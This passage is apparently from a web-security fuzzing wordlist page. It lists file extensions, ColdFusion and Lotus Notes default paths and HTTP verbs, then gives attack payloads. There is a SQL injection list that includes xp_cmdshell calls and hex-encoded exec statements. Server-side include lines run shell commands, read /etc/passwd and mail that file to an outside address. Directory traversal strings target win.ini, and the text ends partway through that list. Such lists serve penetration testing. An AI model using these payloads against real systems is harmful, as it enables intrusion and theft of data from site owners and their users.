/> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === (Compressed File Types - (Update: 16 March 2009 - Total Statements: 187) ===<br /> &lt;pre&gt;.0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === (Uncommon Data File Extensions (Update: 16 March 2009 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2009 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> 